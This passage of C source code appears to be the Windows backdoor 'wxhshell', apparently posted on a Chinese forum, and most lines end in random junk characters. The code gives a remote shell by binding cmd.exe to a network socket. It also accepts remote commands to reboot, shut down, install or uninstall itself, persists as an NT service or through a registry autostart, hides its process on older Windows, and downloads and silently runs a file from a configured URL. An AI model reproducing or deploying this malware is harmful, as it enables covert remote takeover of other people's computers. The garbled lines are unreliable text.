  else { !,[C] Q1  
qtiz a~u  
    switch(cmd[0]) { gN24M3{C  
  A$#p%y b  
  // 帮助 6fd+Q  /  
  case '?': { xZ|Y ?R5m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GytXFL3`:  
    break; 1U^A56CN  
  } YhOlxON  
  // 安装 WA]c=4S  
  case 'i': { ]Tkc-ez  
    if(Install()) N-I5X2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!5IW?2  
    else 5QPM t^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f8M$45A'  
    break; v z^<YZMu  
    } q-]`CW]n  
  // 卸载 *H?!;u=8  
  case 'r': { Gp4A.\7  
    if(Uninstall()) N5]0/,I}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3]_}Y D[#  
    else #+$G=pS'v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?*?RP)V  
    break; S/Fkw4%  
    } 2>86oP&  
  // 显示 wxhshell 所在路径 mjWU0Gh%*  
  case 'p': { 2Yp7  
    char svExeFile[MAX_PATH]; {]E+~%Va  
    strcpy(svExeFile,"\n\r"); e&>;*$)  
      strcat(svExeFile,ExeFile); )K,F]fc+O  
        send(wsh,svExeFile,strlen(svExeFile),0); H2 $GIY  
    break; %Eb%V($  
    } i/~1F_  
  // 重启 S}$r>[t  
  case 'b': { ms!ref4`+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e*bH0';q  
    if(Boot(REBOOT)) ]4R[<<hd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jy giG&H  
    else { =+-Yxh|*  
    closesocket(wsh); Ku\Y'ub  
    ExitThread(0); ]wKzE4Z/  
    } F)s{PCl  
    break; w3=%*<  
    } Nluv/?<  
  // 关机 Pcu#lWC$  
  case 'd': { $aN-Y?U%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N@Y ljz|  
    if(Boot(SHUTDOWN)) )RO<o O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4s'0 w^  
    else { KN t t  
    closesocket(wsh); cx}Q2S  
    ExitThread(0); $/=nU*pd  
    } ccLq+a|  
    break; (9<guv  
    } Pu"R,a  
  // 获取shell K4]g[z  
  case 's': { hoQs @[  
    CmdShell(wsh); )//I'V  
    closesocket(wsh); _U{zMVr  
    ExitThread(0); W D T]!  
    break; :6zG7qES3  
  } %{/%mJoX  
  // 退出 Eh =~T9  
  case 'x': { ^s@8VAwi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c)A{p  
    CloseIt(wsh); P>sFV  
    break; +T=(6dr  
    } &g.@u~SI1  
  // 离开 C4hx@abA  
  case 'q': { wE@'ap#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )(tM/r4`c&  
    closesocket(wsh); c>/. ;p  
    WSACleanup(); ~v'3"k6  
    exit(1); ' v\L @"  
    break; 7zHh@ B:]  
        } jCrpL~tWT  
  } H|ER  
  } srYJp^sC  
^bc;[x&N  
  // 提示信息 c%[#~;E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KN?6;G{  
}  ;zYqsS  
  } a)S+8uU  
]~6_WE8L  
  return; $Bj;D=d@V  
} -s|}Rh?Y  
 qNm$Fx  
// shell模块句柄 -jn WZ5.  
int CmdShell(SOCKET sock) x5QaM.+=J  
{ '0\@McU]  
STARTUPINFO si; t=u  Qb=  
ZeroMemory(&si,sizeof(si)); ?gPKcjgoH!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $uap8nN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sf]s",t~J  
PROCESS_INFORMATION ProcessInfo; o$[z],RO  
char cmdline[]="cmd"; {5d9$v7k4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M)+$wp  
  return 0; 9elga"4:'  
} _>=L>*  
f{"8g"[[)(  
// 自身启动模式 'Fs)Rx}\0  
int StartFromService(void) KAsS [  
{ *1 G>YH  
typedef struct p_UlK8rb  
{ @&]#uRl|[  
  DWORD ExitStatus; <L{(Mj%Z  
  DWORD PebBaseAddress; 8ZCoc5  
  DWORD AffinityMask; [tg^GOf '  
  DWORD BasePriority; H)aQ3T4N5  
  ULONG UniqueProcessId; etoo #h"]1  
  ULONG InheritedFromUniqueProcessId; kl"+YF5/  
}   PROCESS_BASIC_INFORMATION; "*;;H^d  
/sr2mt-Q  
PROCNTQSIP NtQueryInformationProcess; u(OW gbA3  
eL4NB$Fb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "wlt> SU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  f>s?4  
70lfb`  
  HANDLE             hProcess; U,+[5sbo  
  PROCESS_BASIC_INFORMATION pbi; v^ /Q 8Q  
 .AYj'Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @"Z7nJX  
  if(NULL == hInst ) return 0; :> &fV  
<\0vR20/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TZt jbD>B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kPQtQh]y%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }U SC1J  
aA'|Rg,  
  if (!NtQueryInformationProcess) return 0; Oky**B[D'  
FSRm|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u7xDau(c  
  if(!hProcess) return 0; A].>.AI  
})w*m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7HVZZ!>~  
kGL1!=>  
  CloseHandle(hProcess); l^d[EL+  
+4\U)Z/\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R/^u/~<  
if(hProcess==NULL) return 0; CiR%Ujf  
<$N"q  
HMODULE hMod; ~>0qZ{3J_  
char procName[255]; H33i*][H  
unsigned long cbNeeded; $!5\E>y#  
EwS!]h?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U:MPgtwe  
G60R9y47c  
  CloseHandle(hProcess); or k=`};  
AW#<i_Ybf  
if(strstr(procName,"services")) return 1; // 以服务启动 lNv".Y=l  
$7QoMV8V  
  return 0; // 注册表启动 zE)~0v4  
} Fb/XC:AD  
QI]Ih  
// 主模块 Sa"9^_.2#  
int StartWxhshell(LPSTR lpCmdLine) Dfd-^N!  
{ SlSM+F  
  SOCKET wsl; k|BHnj  
BOOL val=TRUE; vA)O {W\o  
  int port=0; k8,?hX:  
  struct sockaddr_in door; s/:Fwr4q#a  
p'sc0@}_O  
  if(wscfg.ws_autoins) Install(); @$"L:1_  
)HD`O~M>  
port=atoi(lpCmdLine); `:O\dN>ON  
J(#mtj>v_  
if(port<=0) port=wscfg.ws_port; @\w,otT  
n6(i`{i  
  WSADATA data; /%A;mlf{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M(d6Z2ibh  
(~)%Fo9X"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DMF -Y-h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5j0{p$'9  
  door.sin_family = AF_INET; W23]Bx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SEl#FWR  
  door.sin_port = htons(port); u*7Z~R  
!GW ,\y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \([WH!7  
closesocket(wsl); Z+pom7A"E  
return 1; p"*y58  
} CC;! <km  
'cNKjL;  
  if(listen(wsl,2) == INVALID_SOCKET) { ds[QwcV9-  
closesocket(wsl); $T<}y_nHl  
return 1; $|$e%   
} |wox1Wt|E  
  Wxhshell(wsl); 8h<ehNX ^I  
  WSACleanup(); $6F)R|  
xsjO)))f  
return 0; pPVRsXy  
s cdtWA  
} 7([h4bg{  
0)Rw|(Fpo]  
// 以NT服务方式启动 '!Gs>T+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0W`LVue  
{ _{jP;W  
DWORD   status = 0; sA9 &/p/  
  DWORD   specificError = 0xfffffff; -ng=l;  
19(Dj&x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >x3ug]Bu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Px M!U!t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kl1Y] ?z}  
  serviceStatus.dwWin32ExitCode     = 0; E3a_8@ZB7  
  serviceStatus.dwServiceSpecificExitCode = 0; WxbsD S;  
  serviceStatus.dwCheckPoint       = 0; 6|J'>)  
  serviceStatus.dwWaitHint       = 0; a;$P:C{gj?  
&V7>1kD3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *QM~O'WhD  
  if (hServiceStatusHandle==0) return; 69kJC/1+l  
w:o-klKXY  
status = GetLastError(); iRG?# "  
  if (status!=NO_ERROR) bg?"ILpk  
{ I\\QS.2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FVF-:C  
    serviceStatus.dwCheckPoint       = 0; 8*g ^o\M  
    serviceStatus.dwWaitHint       = 0; t ]c{c#N/  
    serviceStatus.dwWin32ExitCode     = status; Io2mWvu?5  
    serviceStatus.dwServiceSpecificExitCode = specificError; E?PGu!&u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4c~>ci,N?(  
    return; Bn]K+h\E  
  } 7:h!Wj -a]  
,J mbqOV?!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `-B+JQmen  
  serviceStatus.dwCheckPoint       = 0; '?o9VrO  
  serviceStatus.dwWaitHint       = 0; N0n^L|(R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !c<wS Q,  
} Oajv^H,Em  
%'L;FPxB  
// 处理NT服务事件,比如:启动、停止 AF4?IH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A1cb"N^  
{ =QV ::/  
switch(fdwControl) &[?CTZ  
{ *!:QdWLq  
case SERVICE_CONTROL_STOP: -%IcYzyA  
  serviceStatus.dwWin32ExitCode = 0; 7Tf]:4Y"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q}L+/+b  
  serviceStatus.dwCheckPoint   = 0; TTI81:fku  
  serviceStatus.dwWaitHint     = 0; =OTm2:j#yQ  
  { i}TwOy<4s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TUp%FJXA|  
  } 3Rl,GWK  
  return; ned2lC&'d>  
case SERVICE_CONTROL_PAUSE: 5 HV)[us  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,:v&4x&=  
  break; OQlG+|  
case SERVICE_CONTROL_CONTINUE: KA]*ox6j;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q^eJ4{Ya:  
  break; oB c@]T5>  
case SERVICE_CONTROL_INTERROGATE: e[Xq  
  break; KSs1CF'i  
}; m8R=?U~!S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4cCF \&yU  
} O>DNC-m)i{  
=~FG&rk^  
// 标准应用程序主函数 (N~$x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^E>CGGS4  
{ ['X[qn  
{LE&ylE  
// 获取操作系统版本 "Q+83adY4x  
OsIsNt=GetOsVer(); s<T?pH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h:qHR] 8dZ  
Edt}",s7  
  // 从命令行安装 Ruh)^g  
  if(strpbrk(lpCmdLine,"iI")) Install(); pe04#zQK  
S;@ay/*~  
  // 下载执行文件 EU`T6M  
if(wscfg.ws_downexe) { oJ;rc{n-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0.(<'!"y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z/ bB h  
} utO.WfWP  
B0mLI%B  
if(!OsIsNt) { L&w.j0fq  
// 如果时win9x,隐藏进程并且设置为注册表启动 =_=*OEgO]  
HideProc(); Wr|G:(kw\!  
StartWxhshell(lpCmdLine); HD# r0)  
} ZykrQ\q9  
else z[!x:# q8`  
  if(StartFromService()) EZr6oO@Nc  
  // 以服务方式启动 9q4_j  
  StartServiceCtrlDispatcher(DispatchTable); zj M/M  
else P{oAObP%  
  // 普通方式启动 ['Z{@9  
  StartWxhshell(lpCmdLine); Sgj/s~j~1  
)r!e2zc=Q  
return 0; V 7<eQ0;m  
}
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只看该作者 1 发表于: 2006-10-10
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